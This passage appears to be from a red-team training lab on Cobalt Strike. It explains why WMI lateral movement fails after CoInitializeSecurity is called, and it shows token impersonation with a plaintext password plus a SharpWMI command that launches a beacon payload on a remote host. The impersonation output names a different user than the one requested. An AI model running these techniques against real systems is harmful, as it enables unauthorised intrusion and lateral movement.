The Curious Case of CoInitializeSecurity

Beacon's internal implementation of WMI uses a Beacon Object File, executed using the beacon_inline___execute Aggressor function. When a BOF is executed the CoInitializeSecurity COM object can be called, which is used to set the security context for the current process. According to Microsoft's documentation, this can only be called once per process. The unfortunate consequence is that if you have CoInitializeSecurity get called in the context of, say "User A", then future BOFs may not be able to inherit a different security context ("User B") for the lifetime of the Beacon process.

An example of that can look like the following:

beacon> make_token DEV\jking Qwerty123
[+] Impersonated DEV\bfarmer

beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
CoInitializeSecurity already called. Thread token (if there is one) may not get used
[-] Could not connect to web.dev.cyberbotic.io: 5

\

We know jking is a local admin on WEB but because CoInitializeSecurity has already been called (probably in the context of bfarmer), WMI fails with access denied. As a workaround, your WMI execution needs to come from a different process. This can be achieved with commands such as spawn and spawnas, or even execute-assembly with a tool such as SharpWMI.

beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb_x64.exe"

[*] Host                           : web.dev.cyberbotic.io
[*] Command                        : C:\Windows\smb_x64.exe
[*] Creation of process returned   : 0
[*] Process ID                     : 3436